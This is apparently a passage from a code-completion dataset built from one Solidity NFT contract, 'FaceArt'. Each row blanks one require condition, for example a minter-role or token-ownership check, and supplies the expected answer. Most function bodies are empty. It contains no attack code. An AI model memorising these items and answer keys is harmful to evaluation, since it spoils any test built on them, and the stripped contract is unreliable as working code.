* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| _msgSender()==crossmintAddress,"Should be to crossmint" | 86,047 | _msgSender()==crossmintAddress |
"Referrer can't be crossmint" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
require(to == crossmintAddress, "Restricted for crossmint");
require(_msgSender() == crossmintAddress, "Should be to crossmint");
require(<FILL_ME>)
require(recipient != referrer, "Referrer can't be the recipient");
MintVoucher memory voucher = MintVoucher({recipient: recipient, referrer: referrer, signature: ""});
_mint(quantity, voucher);
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| _msgSender()!=referrer,"Referrer can't be crossmint" | 86,047 | _msgSender()!=referrer |
"Signature invalid or unauthorized" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
// make sure signature is valid and get the address of the signer
address signer = _verify(voucher);
// make sure that the signer is authorized to mint NFTs
require(<FILL_ME>)
require(to == _msgSender() && (voucher.recipient == _msgSender()), "Voucher is for different caller");
require(voucher.referrer != _msgSender(), "Referrer can't be the caller");
_mint(quantity, voucher);
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| hasRole(MINTER_ROLE,signer),"Signature invalid or unauthorized" | 86,047 | hasRole(MINTER_ROLE,signer) |
"Cannot be called from contract" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(<FILL_ME>)
require(ownerOf(tokenId1) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId1] < Level.A1, "Invalid level");
require(ownerOf(tokenId2) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId2] < Level.A1, "Invalid level");
require(tokenLevel[tokenId1] != tokenLevel[tokenId2], "Tokens should have different type");
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| !Address.isContract(_msgSender()),"Cannot be called from contract" | 86,047 | !Address.isContract(_msgSender()) |
"Not owner of NFT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(<FILL_ME>)
require(tokenLevel[tokenId1] < Level.A1, "Invalid level");
require(ownerOf(tokenId2) == _msgSender(), "Not owner of NFT");
require(tokenLevel[tokenId2] < Level.A1, "Invalid level");
require(tokenLevel[tokenId1] != tokenLevel[tokenId2], "Tokens should have different type");
_burn(tokenId1);
_burn(tokenId2);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
if (whitelist[_msgSender()]) {
burnVoucher[currentTokenId] = BurnVoucher({recipient: _msgSender(), emitTimestamp: block.timestamp});
emit BurnTicket(_msgSender(), block.timestamp, currentTokenId);
}
return currentTokenId;
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| ownerOf(tokenId1)==_msgSender(),"Not owner of NFT" | 86,047 | ownerOf(tokenId1)==_msgSender() |
"Invalid level" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
